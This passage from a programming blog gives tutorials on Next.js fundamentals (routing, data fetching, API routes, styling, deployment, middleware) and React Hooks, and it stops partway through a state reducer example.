  4. Show enthusiasm: Demonstrate your passion for frontend development.
  5. Follow up: Send a thank you email and address any questions you felt you could have answered better.

Remember that interviews are also an opportunity for you to evaluate the company. Prepare thoughtful questions about their technology stack, development processes, and team culture to determine if it’s the right fit for you.

  • Web Development
  • JavaScript
  • React
  • Interview
  • Career
  • Frontend

show all >>

Next.js Fundamentals

  2023-06-11
字数统计: 2.8k字   |   阅读时长: 17min

Next.js Fundamentals

Next.js is a React framework that enables server-side rendering, static site generation, and other advanced features with minimal configuration.

Introduction to Next.js

Next.js was created by Vercel and provides:

  • Server-side rendering (SSR): Renders pages on the server for better SEO and initial load performance
  • Static site generation (SSG): Pre-renders pages at build time for optimal performance
  • Automatic code splitting: Only loads JavaScript needed for each page
  • Built-in CSS/Sass support: Import CSS/Sass files directly in components
  • API routes: Create API endpoints as Node.js serverless functions
  • Developer experience: Hot reloading, error reporting, and more

Setting Up a Next.js Project

Creating a New Project

1
2
3
npx create-next-app my-nextjs-app
cd my-nextjs-app
npm run dev

Project Structure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
my-nextjs-app/
├── .next/ # Build output directory
├── node_modules/ # Dependencies
├── pages/ # Application pages and API routes
│ ├── api/ # API routes
│ ├── _app.js # Custom App component
│ ├── _document.js # Custom Document component
│ └── index.js # Home page
├── public/ # Static assets
├── styles/ # CSS/Sass files
├── components/ # React components
├── .gitignore # Git ignore file
├── next.config.js # Next.js configuration
├── package.json # Project dependencies and scripts
└── README.md # Project documentation

Pages and Routing

Next.js has a file-system based router built on the concept of pages:

Basic Pages

1
2
3
4
5
6
7
8
9
// pages/index.js - Route: /
export default function Home() {
return <h1>Home Page</h1>;
}

// pages/about.js - Route: /about
export default function About() {
return <h1>About Page</h1>;
}

Dynamic Routes

1
2
3
4
5
6
7
8
9
// pages/posts/[id].js - Route: /posts/:id
import { useRouter } from 'next/router';

export default function Post() {
const router = useRouter();
const { id } = router.query;

return <h1>Post: {id}</h1>;
}

Nested Dynamic Routes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// pages/[category]/[product].js - Route: /:category/:product
import { useRouter } from 'next/router';

export default function Product() {
const router = useRouter();
const { category, product } = router.query;

return (
<div>
<h1>Category: {category}</h1>
<h2>Product: {product}</h2>
</div>
);
}

Catch-All Routes

1
2
3
4
5
6
7
8
9
10
// pages/blog/[...slug].js - Routes: /blog/2020/01/01, /blog/category/post
import { useRouter } from 'next/router';

export default function BlogPost() {
const router = useRouter();
const { slug } = router.query;
// slug will be an array like ['2020', '01', '01'] or ['category', 'post']

return <h1>Blog Post: {slug?.join('/')}</h1>;
}

Navigation

Link Component

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import Link from 'next/link';

export default function Navigation() {
return (
<nav>
<Link href="/">Home</Link>
<Link href="/about">About</Link>
<Link href="/blog/hello-world">Blog Post</Link>

{/* With dynamic route */}
<Link href={`/posts/${postId}`}>Post</Link>

{/* With object syntax for complex paths */}
<Link href={{
pathname: '/posts/[id]',
query: { id: postId },
}}>
Post
</Link>
</nav>
);
}

Programmatic Navigation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import { useRouter } from 'next/router';

export default function LoginButton() {
const router = useRouter();

function handleLogin() {
// Authenticate user
router.push('/dashboard');

// Or with dynamic route
router.push(`/profile/${userId}`);

// Or with URL object
router.push({
pathname: '/posts/[id]',
query: { id: postId },
});
}

return <button onClick={handleLogin}>Log in</button>;
}

Data Fetching

Next.js has built-in data fetching methods for different use cases:

getStaticProps (Static Site Generation)

Use for data available at build time:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// pages/posts.js
export default function Posts({ posts }) {
return (
<ul>
{posts.map((post) => (
<li key={post.id}>{post.title}</li>
))}
</ul>
);
}

// This runs at build time in production
export async function getStaticProps() {
const res = await fetch('https://jsonplaceholder.typicode.com/posts');
const posts = await res.json();

return {
props: {
posts,
},
// Revalidate every 10 seconds (incremental static regeneration)
revalidate: 10,
};
}

getStaticPaths (Dynamic Routes with SSG)

Use with dynamic routes and getStaticProps:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// pages/posts/[id].js
export default function Post({ post }) {
return (
<div>
<h1>{post.title}</h1>
<p>{post.body}</p>
</div>
);
}

// Generate the paths at build time
export async function getStaticPaths() {
const res = await fetch('https://jsonplaceholder.typicode.com/posts');
const posts = await res.json();

// Get the paths we want to pre-render
const paths = posts.slice(0, 10).map((post) => ({
params: { id: post.id.toString() },
}));

return {
paths,
// fallback: false means other routes 404
// fallback: true generates pages on demand
// fallback: 'blocking' is similar but waits for generation
fallback: 'blocking',
};
}

// Fetch data for each page
export async function getStaticProps({ params }) {
const res = await fetch(`https://jsonplaceholder.typicode.com/posts/${params.id}`);
const post = await res.json();

// If no post is found, return 404
if (!post.id) {
return {
notFound: true,
};
}

return {
props: {
post,
},
revalidate: 60, // Regenerate after 60 seconds
};
}

getServerSideProps (Server-Side Rendering)

Use for data that must be fetched at request time:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// pages/profile.js
export default function Profile({ user }) {
return (
<div>
<h1>{user.name}</h1>
<p>Email: {user.email}</p>
</div>
);
}

// This runs on every request
export async function getServerSideProps(context) {
// context contains request parameters, headers, cookies
const { req, res, params, query } = context;

// Example: cookie-based authentication
const cookies = req.headers.cookie;

// Fetch data from an API
const response = await fetch('https://api.example.com/user', {
headers: {
cookie: cookies
}
});

const user = await response.json();

// Redirect if not authenticated
if (!user) {
return {
redirect: {
destination: '/login',
permanent: false,
},
};
}

return {
props: {
user,
},
};
}

Client-Side Data Fetching

For data that doesn’t need SEO or can be loaded after the page loads:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import { useState, useEffect } from 'react';

export default function Dashboard() {
const [data, setData] = useState(null);
const [isLoading, setIsLoading] = useState(true);

useEffect(() => {
async function fetchData() {
const response = await fetch('/api/dashboard-data');
const data = await response.json();
setData(data);
setIsLoading(false);
}

fetchData();
}, []);

if (isLoading) return <p>Loading...</p>;
if (!data) return <p>No data</p>;

return (
<div>
<h1>Dashboard</h1>
<p>Total users: {data.totalUsers}</p>
</div>
);
}

SWR for Data Fetching

Next.js recommends SWR for client-side data fetching:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import useSWR from 'swr';

// Reusable fetcher function
const fetcher = (url) => fetch(url).then((res) => res.json());

export default function Profile() {
const { data, error, isLoading } = useSWR('/api/user', fetcher);

if (error) return <div>Failed to load</div>;
if (isLoading) return <div>Loading...</div>;

return (
<div>
<h1>Hello {data.name}!</h1>
<p>Email: {data.email}</p>
</div>
);
}

API Routes

Next.js allows you to create API endpoints within your application:

1
2
3
4
// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello World!' });
}

Request Methods

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// pages/api/users.js
export default function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Get data from your database
res.status(200).json({ users: ['John', 'Jane'] });
break;
case 'POST':
// Create data in your database
res.status(201).json({ message: 'User created' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Dynamic API Routes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// pages/api/users/[id].js
export default function handler(req, res) {
const { id } = req.query;
const { method } = req;

switch (method) {
case 'GET':
// Get user data from your database
res.status(200).json({ id, name: `User ${id}` });
break;
case 'PUT':
// Update user data in your database
res.status(200).json({ id, message: 'User updated' });
break;
case 'DELETE':
// Delete user data from your database
res.status(200).json({ id, message: 'User deleted' });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Styling in Next.js

Next.js supports various styling options:

Global CSS

1
2
3
4
5
6
// pages/_app.js
import '../styles/globals.css';

export default function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />;
}

CSS Modules

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// styles/Home.module.css
.container {
min-height: 100vh;
padding: 0 0.5rem;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}

// pages/index.js
import styles from '../styles/Home.module.css';

export default function Home() {
return (
<div className={styles.container}>
<h1>Hello Next.js</h1>
</div>
);
}

Sass/SCSS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Install Sass
// npm install sass

// styles/Home.module.scss
.container {
min-height: 100vh;

.title {
color: #0070f3;
text-decoration: none;

&:hover {
text-decoration: underline;
}
}
}

// pages/index.js
import styles from '../styles/Home.module.scss';

export default function Home() {
return (
<div className={styles.container}>
<h1 className={styles.title}>Hello Next.js</h1>
</div>
);
}

CSS-in-JS (Styled JSX)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
export default function Button() {
return (
<>
<button>Click me</button>
<style jsx>{`
button {
background: #0070f3;
color: white;
border: none;
padding: 8px 16px;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background: #0051a2;
}
`}</style>
</>
);
}

Image Optimization

Next.js includes an Image component for automatic image optimization:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import Image from 'next/image';

export default function Avatar() {
return (
<div>
{/* Local images require width and height */}
<Image
src="/profile.jpg" // Route to the image file in public directory
alt="Profile"
width={500}
height={500}
priority // Load image immediately (LCP)
/>

{/* Remote images require width, height, or layout="fill" */}
<Image
src="https://example.com/profile.jpg"
alt="Profile"
width={500}
height={500}
loader={customLoader} // Optional custom loader
/>

{/* Fill container (parent must have position: relative) */}
<div style={{ position: 'relative', width: '100%', height: '300px' }}>
<Image
src="/banner.jpg"
alt="Banner"
fill
style={{ objectFit: 'cover' }}
/>
</div>
</div>
);
}

Head Management

Next.js has a built-in component for managing <head> elements:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import Head from 'next/head';

export default function Page() {
return (
<>
<Head>
<title>My Page Title</title>
<meta name="description" content="My page description" />
<meta property="og:title" content="My Page Title" />
<meta property="og:description" content="My page description" />
<meta property="og:image" content="https://example.com/og-image.jpg" />
<link rel="icon" href="/favicon.ico" />
</Head>
<main>
<h1>Welcome to my page</h1>
</main>
</>
);
}

Custom Document and App

Custom Document

Customize the HTML document structure:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from 'next/document';

export default class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>
<link
href="https://fonts.googleapis.com/css2?family=Inter&display=swap"
rel="stylesheet"
/>
</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
);
}
}

Custom App

For persistent layouts, global state, or additional providers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// pages/_app.js
import '../styles/globals.css';
import Layout from '../components/Layout';
import { ThemeProvider } from '../context/ThemeContext';

export default function MyApp({ Component, pageProps }) {
// Use the layout defined at the page level, if available
const getLayout = Component.getLayout || ((page) => <Layout>{page}</Layout>);

return (
<ThemeProvider>
{getLayout(<Component {...pageProps} />)}
</ThemeProvider>
);
}

// pages/index.js - Example of page-level layout
import AdminLayout from '../components/AdminLayout';

export default function Home() {
return <h1>Home Page</h1>;
}

// Define a custom layout for this page
Home.getLayout = function getLayout(page) {
return <AdminLayout>{page}</AdminLayout>;
};

Environment Variables

Next.js comes with built-in support for environment variables:

1
2
3
4
5
# .env.local (not committed to git)
DB_PASSWORD=supersecretpassword

# .env (committed to git)
NEXT_PUBLIC_API_URL=https://api.example.com
1
2
3
4
5
// Access in Node.js environment (SSR, API routes)
console.log(process.env.DB_PASSWORD);

// Access in browser (must be prefixed with NEXT_PUBLIC_)
console.log(process.env.NEXT_PUBLIC_API_URL);

Deployment

Static Export

For static sites that can be hosted anywhere:

1
2
3
4
5
6
7
# Configure in next.config.js
module.exports = {
output: 'export',
}

# Build and export
npm run build

Vercel (Recommended)

Deploy directly from Git:

1
2
3
4
5
# Install Vercel CLI
npm install -g vercel

# Deploy
vercel

Other Hosting Providers

For Node.js hosting:

1
2
3
4
5
# Build the application
npm run build

# Start the production server
npm start

Advanced Features

Middleware

Execute code before requests are completed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
// Get a cookie
const theme = request.cookies.get('theme');

// Clone the request headers
const requestHeaders = new Headers(request.headers);

// Set a request header
requestHeaders.set('x-theme', theme?.value || 'light');

// You can also redirect
if (!request.cookies.get('authenticated') && request.nextUrl.pathname.startsWith('/dashboard')) {
return NextResponse.redirect(new URL('/login', request.url));
}

// Continue the request with modified headers
return NextResponse.next({
request: {
headers: requestHeaders,
},
});
}

// Configure which paths should be matched
export const config = {
matcher: ['/dashboard/:path*', '/api/:path*'],
};

Internationalized Routing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// next.config.js
module.exports = {
i18n: {
// Locales you want to support
locales: ['en', 'fr', 'es'],
// Default locale
defaultLocale: 'en',
// Domain-specific locales
domains: [
{
domain: 'example.com',
defaultLocale: 'en',
},
{
domain: 'example.fr',
defaultLocale: 'fr',
},
{
domain: 'example.es',
defaultLocale: 'es',
},
],
},
};

// Use in components
import { useRouter } from 'next/router';

export default function LocaleSwitcher() {
const router = useRouter();
const { locales, locale: activeLocale } = router;

const handleLocaleChange = (e) => {
const locale = e.target.value;
router.push(router.pathname, router.asPath, { locale });
};

return (
<select
onChange={handleLocaleChange}
defaultValue={activeLocale}
>
{locales.map((locale) => (
<option key={locale} value={locale}>
{locale}
</option>
))}
</select>
);
}

Best Practices

  1. Use Static Generation when possible for better performance
  2. Incremental Static Regeneration for dynamic content that changes infrequently
  3. Server-Side Rendering for pages that need request-time data
  4. Client-side fetching for private, user-specific data
  5. Optimize images with the Next.js Image component
  6. Code splitting happens automatically per page
  7. Pre-fetch links automatically with the Link component
  8. API Routes for backend functionality instead of external APIs
  9. Environment Variables for configuration
  10. TypeScript support for better developer experience

Learning Resources

  • Next.js Documentation
  • Next.js GitHub Repository
  • Next.js Learn Course
  • Vercel Tutorials
  • Next.js Discord Community
  • Next.js Weekly Newsletter
  • Mastering Next.js
  • Web Development
  • JavaScript
  • React
  • Frontend Framework
  • Next.js
  • SSR

show all >>

React Hooks

  2023-06-10
字数统计: 4.2k字   |   阅读时长: 26min

React Hooks

React Hooks were introduced in React 16.8 as a way to use state and other React features without writing a class. They enable functional components to have capabilities previously only available in class components.

Introduction to Hooks

Hooks are functions that let you “hook into” React state and lifecycle features from function components. They don’t work inside classes — they let you use React without classes.

Why Hooks?

  • Reuse stateful logic between components without complex patterns like render props or higher-order components
  • Split complex components into smaller functions based on related pieces (such as setting up a subscription or fetching data)
  • Use more of React’s features without classes - avoiding issues with this, binding event handlers, and making hot reloading more reliable

Basic Hooks

useState

The useState hook lets you add React state to functional components:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import React, { useState } from 'react';

function Counter() {
// Declare a state variable "count" with initial value 0
const [count, setCount] = useState(0);

return (
<div>
<p>You clicked {count} times</p>
<button onClick={() => setCount(count + 1)}>
Click me
</button>
</div>
);
}

Array Destructuring

1
2
3
4
// This is equivalent to:
const countState = useState(0);
const count = countState[0];
const setCount = countState[1];

Multiple State Variables

1
2
3
4
5
6
7
function UserForm() {
const [name, setName] = useState('');
const [age, setAge] = useState(0);
const [email, setEmail] = useState('');

// ...
}

Functional Updates

When the new state depends on the previous state, pass a function to the state setter:

1
2
3
4
5
6
7
8
9
10
11
function Counter() {
const [count, setCount] = useState(0);

return (
<>
Count: {count}
<button onClick={() => setCount(prevCount => prevCount + 1)}>+</button>
<button onClick={() => setCount(prevCount => prevCount - 1)}>-</button>
</>
);
}

Lazy Initial State

If the initial state is expensive to compute, you can provide a function which will be executed only on the initial render:

1
2
3
4
const [state, setState] = useState(() => {
const initialState = someExpensiveComputation(props);
return initialState;
});

useEffect

The useEffect hook lets you perform side effects in functional components. It serves the same purpose as componentDidMount, componentDidUpdate, and componentWillUnmount in React classes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import React, { useState, useEffect } from 'react';

function Example() {
const [count, setCount] = useState(0);

// Similar to componentDidMount and componentDidUpdate:
useEffect(() => {
// Update the document title using the browser API
document.title = `You clicked ${count} times`;
});

return (
<div>
<p>You clicked {count} times</p>
<button onClick={() => setCount(count + 1)}>
Click me
</button>
</div>
);
}

Effect with Cleanup

Some effects need cleanup, like subscriptions or timers:

1
2
3
4
5
6
7
8
useEffect(() => {
const subscription = props.source.subscribe();

// Cleanup function (equivalent to componentWillUnmount):
return () => {
subscription.unsubscribe();
};
});

Controlling When Effects Run

You can control when effects run by providing a dependency array as the second argument:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Only runs on mount and unmount (empty dependencies)
useEffect(() => {
console.log('Component mounted');
return () => console.log('Component unmounted');
}, []);

// Runs when count changes
useEffect(() => {
document.title = `Count: ${count}`;
}, [count]);

// Runs on every render (no dependency array)
useEffect(() => {
console.log('Component rendered');
});

Multiple Effects

You can use multiple useEffect calls in the same component to separate concerns:

1
2
3
4
5
6
7
8
9
10
11
12
13
function UserProfile({ userId }) {
// These could be separated into different useEffects
useEffect(() => {
// Fetch user data
fetchUser(userId).then(data => setUser(data));
}, [userId]);

useEffect(() => {
// Set up analytics
const analytics = setupAnalytics();
return () => analytics.cleanup();
}, []);
}

useContext

The useContext hook lets you subscribe to React context without introducing nesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import React, { useContext } from 'react';

// Create a context
const ThemeContext = React.createContext('light');

function ThemedButton() {
// Use the context
const theme = useContext(ThemeContext);

return <button className={theme}>Themed Button</button>;
}

function App() {
return (
<ThemeContext.Provider value="dark">
<ThemedButton />
</ThemeContext.Provider>
);
}

Additional Hooks

useReducer

useReducer is usually preferable to useState when you have complex state logic that involves multiple sub-values or when the next state depends on the previous one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import React, { useReducer } from 'react';

// Reducer function
function reducer(state, action) {
switch (action.type) {
case 'increment':
return { count: state.count + 1 };
case 'decrement':
return { count: state.count - 1 };
default:
throw new Error();
}
}

function Counter() {
// Initialize state with useReducer
const [state, dispatch] = useReducer(reducer, { count: 0 });

return (
<>
Count: {state.count}
<button onClick={() => dispatch({ type: 'increment' })}>+</button>
<button onClick={() => dispatch({ type: 'decrement' })}>-</button>
</>
);
}

Lazy Initialization

1
2
// The initialArg (second argument) is passed to the init function (third argument)
const [state, dispatch] = useReducer(reducer, initialArg, init);

When to Use

  • Complex state transitions
  • Multiple sub-values in state
  • When the next state depends on the previous one
  • When your state logic is complex enough to be extracted outside the component

useCallback

useCallback returns a memoized version of the callback that only changes if one of the dependencies has changed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import React, { useState, useCallback } from 'react';

function Parent() {
const [count, setCount] = useState(0);

// This function is recreated only when count changes
const handleClick = useCallback(() => {
console.log(`Clicked: ${count}`);
}, [count]);

return <Child onClick={handleClick} />;
}

// Child uses React.memo to prevent unnecessary renders
const Child = React.memo(({ onClick }) => {
console.log("Child rendered");
return <button onClick={onClick}>Click me</button>;
});

useMemo

useMemo returns a memoized value that only recalculates when one of its dependencies changes:

1
2
3
4
5
6
7
8
9
10
11
import React, { useMemo, useState } from 'react';

function ExpensiveCalculation({ a, b }) {
// Value is only recalculated when a or b changes
const result = useMemo(() => {
console.log('Calculating...');
return a * b;
}, [a, b]);

return <div>Result: {result}</div>;
}

When to Use

  • Complex computations that might slow down rendering
  • Values used in multiple places in the render
  • Values used in the dependency arrays of other hooks
  • Preventing unnecessary renders of child components

useRef

useRef returns a mutable ref object whose .current property is initialized to the passed argument. The object persists for the full lifetime of the component:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import React, { useRef, useEffect } from 'react';

function TextInputWithFocusButton() {
// Create a ref
const inputRef = useRef(null);

// Focus the input element
const focusInput = () => {
inputRef.current.focus();
};

return (
<>
<input ref={inputRef} type="text" />
<button onClick={focusInput}>Focus Input</button>
</>
);
}

UseRef for Variables

useRef can be used for more than just DOM refs. It’s useful for keeping any mutable value around without causing a re-render when it changes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function TimerExample() {
const [seconds, setSeconds] = useState(0);
const timerRef = useRef(null);

useEffect(() => {
timerRef.current = setInterval(() => {
setSeconds(prev => prev + 1);
}, 1000);

return () => clearInterval(timerRef.current);
}, []);

const stopTimer = () => {
clearInterval(timerRef.current);
};

return (
<div>
<p>Seconds: {seconds}</p>
<button onClick={stopTimer}>Stop</button>
</div>
);
}

useImperativeHandle

useImperativeHandle customizes the instance value that is exposed when using ref with forwardRef:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import React, { useRef, useImperativeHandle, forwardRef } from 'react';

// Create a forward ref component
const FancyInput = forwardRef((props, ref) => {
const inputRef = useRef();

// Expose only certain methods to parent
useImperativeHandle(ref, () => ({
focus: () => {
inputRef.current.focus();
},
reset: () => {
inputRef.current.value = '';
}
}));

return <input ref={inputRef} />;
});

function Parent() {
const fancyInputRef = useRef();

return (
<>
<FancyInput ref={fancyInputRef} />
<button onClick={() => fancyInputRef.current.focus()}>
Focus Input
</button>
<button onClick={() => fancyInputRef.current.reset()}>
Reset
</button>
</>
);
}

useLayoutEffect

useLayoutEffect is identical to useEffect, but it fires synchronously after all DOM mutations. Use it to read layout from the DOM and synchronously re-render:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function Tooltip({ text, position }) {
const tooltipRef = useRef();

// This runs synchronously after DOM mutations
useLayoutEffect(() => {
const element = tooltipRef.current;
// These measurements happen synchronously after DOM mutations
const { height, width } = element.getBoundingClientRect();

// Position the tooltip based on its size and the position prop
element.style.top = `${position.y - height}px`;
element.style.left = `${position.x - width / 2}px`;
}, [position]);

return <div ref={tooltipRef} className="tooltip">{text}</div>;
}

useEffect vs useLayoutEffect

  • useEffect runs asynchronously after render is painted to the screen
  • useLayoutEffect runs synchronously after DOM mutations but before the browser paints
  • Use useLayoutEffect for DOM measurements and mutations that should be visible immediately

useDebugValue

useDebugValue can be used to display a label for custom hooks in React DevTools:

1
2
3
4
5
6
7
8
9
10
import React, { useState, useDebugValue } from 'react';

function useCustomHook(initialValue) {
const [value, setValue] = useState(initialValue);

// This will show up in React DevTools
useDebugValue(value ? 'Online' : 'Offline');

return [value, setValue];
}

Custom Hooks

Custom Hooks let you extract component logic into reusable functions. A custom Hook is a JavaScript function whose name starts with “use” and that may call other Hooks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import { useState, useEffect } from 'react';

// Custom hook for window dimensions
function useWindowSize() {
const [windowSize, setWindowSize] = useState({
width: window.innerWidth,
height: window.innerHeight,
});

useEffect(() => {
// Handler to call on window resize
function handleResize() {
setWindowSize({
width: window.innerWidth,
height: window.innerHeight,
});
}

// Add event listener
window.addEventListener('resize', handleResize);

// Call handler right away to update initial size
handleResize();

// Remove event listener on cleanup
return () => window.removeEventListener('resize', handleResize);
}, []); // Empty array ensures this only runs on mount and unmount

return windowSize;
}

// Using the custom hook
function MyComponent() {
const size = useWindowSize();

return (
<div>
Window width: {size.width}px, height: {size.height}px
</div>
);
}

Common Custom Hooks

useFetch - For Data Fetching

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
function useFetch(url) {
const [data, setData] = useState(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);

useEffect(() => {
const abortController = new AbortController();

async function fetchData() {
try {
setLoading(true);
const response = await fetch(url, { signal: abortController.signal });

if (!response.ok) {
throw new Error(`HTTP error: ${response.status}`);
}

const json = await response.json();
setData(json);
setError(null);
} catch (err) {
if (err.name !== 'AbortError') {
setError(err.message);
setData(null);
}
} finally {
setLoading(false);
}
}

fetchData();

return () => abortController.abort();
}, [url]);

return { data, loading, error };
}

// Usage
function Posts() {
const { data, loading, error } = useFetch('https://jsonplaceholder.typicode.com/posts');

if (loading) return <div>Loading...</div>;
if (error) return <div>Error: {error}</div>;

return (
<ul>
{data?.map(post => (
<li key={post.id}>{post.title}</li>
))}
</ul>
);
}

useLocalStorage - For Persistent State

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
function useLocalStorage(key, initialValue) {
// State to store our value
const [storedValue, setStoredValue] = useState(() => {
try {
// Get from local storage by key
const item = window.localStorage.getItem(key);
// Parse stored json or if none return initialValue
return item ? JSON.parse(item) : initialValue;
} catch (error) {
// If error also return initialValue
console.log(error);
return initialValue;
}
});

// Return a wrapped version of useState's setter function that
// persists the new value to localStorage.
const setValue = value => {
try {
// Allow value to be a function so we have same API as useState
const valueToStore =
value instanceof Function ? value(storedValue) : value;
// Save state
setStoredValue(valueToStore);
// Save to local storage
window.localStorage.setItem(key, JSON.stringify(valueToStore));
} catch (error) {
// A more advanced implementation would handle the error case
console.log(error);
}
};

return [storedValue, setValue];
}

// Usage
function App() {
const [name, setName] = useLocalStorage('name', 'Bob');

return (
<div>
<input
type="text"
placeholder="Enter your name"
value={name}
onChange={e => setName(e.target.value)}
/>
</div>
);
}

useForm - For Form Handling

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
function useForm(initialValues = {}) {
const [values, setValues] = useState(initialValues);
const [errors, setErrors] = useState({});

const handleChange = (e) => {
const { name, value } = e.target;
setValues(prevValues => ({
...prevValues,
[name]: value
}));
};

const handleSubmit = (onSubmit) => (e) => {
e.preventDefault();
onSubmit(values);
};

const reset = () => {
setValues(initialValues);
setErrors({});
};

return {
values,
errors,
handleChange,
handleSubmit,
reset,
setValues,
setErrors
};
}

// Usage
function SignupForm() {
const { values, handleChange, handleSubmit } = useForm({
email: '',
password: ''
});

const submitForm = (formValues) => {
console.log('Form submitted:', formValues);
// Handle submission logic here
};

return (
<form onSubmit={handleSubmit(submitForm)}>
<input
type="email"
name="email"
value={values.email}
onChange={handleChange}
placeholder="Email"
/>
<input
type="password"
name="password"
value={values.password}
onChange={handleChange}
placeholder="Password"
/>
<button type="submit">Sign Up</button>
</form>
);
}

Rules of Hooks

There are two essential rules to follow when using Hooks:

Only Call Hooks at the Top Level

Don’t call Hooks inside loops, conditions, or nested functions. Always use Hooks at the top level of your React function.

❌ Incorrect:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function Bad() {
const [count, setCount] = useState(0);

if (count > 0) {
// This is against the rules!
const [name, setName] = useState('John');
}

// This is also against the rules!
for (let i = 0; i < count; i++) {
useEffect(() => {
console.log(i);
});
}

// ...
}

✅ Correct:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function Good() {
const [count, setCount] = useState(0);
const [name, setName] = useState('John');

useEffect(() => {
console.log(count);
}, [count]);

// Conditional rendering inside useEffect is ok
useEffect(() => {
if (count > 0) {
console.log(`Count: ${count}, Name: ${name}`);
}
}, [count, name]);

// ...
}

Only Call Hooks from React Functions

Don’t call Hooks from regular JavaScript functions. You can:

  • Call Hooks from React function components
  • Call Hooks from custom Hooks

❌ Incorrect:

1
2
3
4
5
// This is not a React component or a custom Hook
function normalFunction() {
// This is against the rules!
const [count, setCount] = useState(0);
}

✅ Correct:

1
2
3
4
5
6
7
8
9
10
11
// This is a React function component
function ComponentFunction() {
const [count, setCount] = useState(0);
return <div>{count}</div>;
}

// This is a custom Hook (note the 'use' prefix)
function useCustomHook() {
const [count, setCount] = useState(0);
return count;
}

Advanced Patterns with Hooks

State Reducer Pattern

Combine useReducer with custom logic to create reusable components with customizable state management:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// The base useCounter hook with reducer
function useCounter(initialState, reducer) {
const [state, dispatch] = useReducer(reducer, initialState);

const increment = () => dispatch({ type: 'increment' });
const decrement = () => dispatch({ type: 'decrement' });
const reset = () => dispatch({ type: 'reset', payload: initialState });

return [state, { increment, decrement, reset }];
}

// Default reducer if none is provided
function defaultReducer(state, action) {
switch (action.type) {
case 'increment':
return { count: state.count + 1 };
case 'decrement':
return { count: state.count - 1 };
case 'reset':
return action.payload;
default:
return state;
}
}

